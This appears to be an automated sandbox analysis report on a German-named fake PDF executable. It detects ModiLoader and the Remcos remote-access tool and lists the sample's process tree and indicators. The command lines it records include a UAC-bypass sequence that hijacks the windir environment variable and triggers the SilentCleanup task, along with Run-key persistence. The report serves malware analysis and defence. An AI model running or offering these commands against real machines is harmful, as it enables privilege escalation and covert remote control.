Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    16/10/2020, 18:00

General

  • Target
    Bestätigung der Kontodaten,pdf.exe
  • Size 631KB
  • Sample201016-b2bew42jqj
  • SHA256 6e65a5004779b795ed2d4b95d428083f4cdecf2f0d7880c11080040ed2b250b9
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • ModiLoader First Stage 1 IoCs
  • ModiLoader Second Stage 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Modifies registry key 1 TTPs 3 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious use of WriteProcessMemory 510 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Bestätigung der Kontodaten,pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\Bestätigung der Kontodaten,pdf.exe"
    1⤵
    • Adds Run key to start application
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:904
    • C:\Windows\SysWOW64\Notepad.exe
      "C:\Windows\System32\Notepad.exe"
      2⤵
        PID:3244
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\Users\Public\Natso.bat
          3⤵
            PID:4324
            • C:\Windows\SysWOW64\reg.exe
              reg delete hkcu\Environment /v windir /f
              4⤵
              • Modifies registry key
              PID:4376
            • C:\Windows\SysWOW64\reg.exe
              reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\x.bat reg delete hkcu\Environment /v windir /f && REM "
              4⤵
              • Modifies registry key
              PID:4400
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
              4⤵
                PID:4420
              • C:\Windows\SysWOW64\reg.exe
                reg delete hkcu\Environment /v windir /f
                4⤵
                • Modifies registry key
                PID:4440
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c C:\Users\Public\Natso.bat
              3⤵
                PID:4456
            • C:\Program Files (x86)\internet explorer\ieinstal.exe
              "C:\Program Files (x86)\internet explorer\ieinstal.exe"
              2⤵
                PID:4504

            Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

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                  Downloads

                  memory/904-0-0x0000000002370000-0x0000000002380000-memory.dmp

                  memory/904-1-0x0000000004180000-0x00000000041D7000-memory.dmp

                  memory/904-242-0x0000000050480000-0x000000005049A000-memory.dmp

                  memory/904-258-0x0000000010540000-0x0000000010565000-memory.dmp

                  memory/3244-2-0x0000000002FB0000-0x0000000002FB1000-memory.dmp

                  memory/3244-4-0x0000000003270000-0x0000000003271000-memory.dmp

                  memory/3244-243-0x0000000006B50000-0x0000000006B51000-memory.dmp

                  memory/4504-252-0x0000000002B10000-0x0000000002B11000-memory.dmp

                  memory/4504-254-0x0000000002BD0000-0x0000000002BD1000-memory.dmp

                  memory/4504-259-0x0000000002B70000-0x0000000002B71000-memory.dmp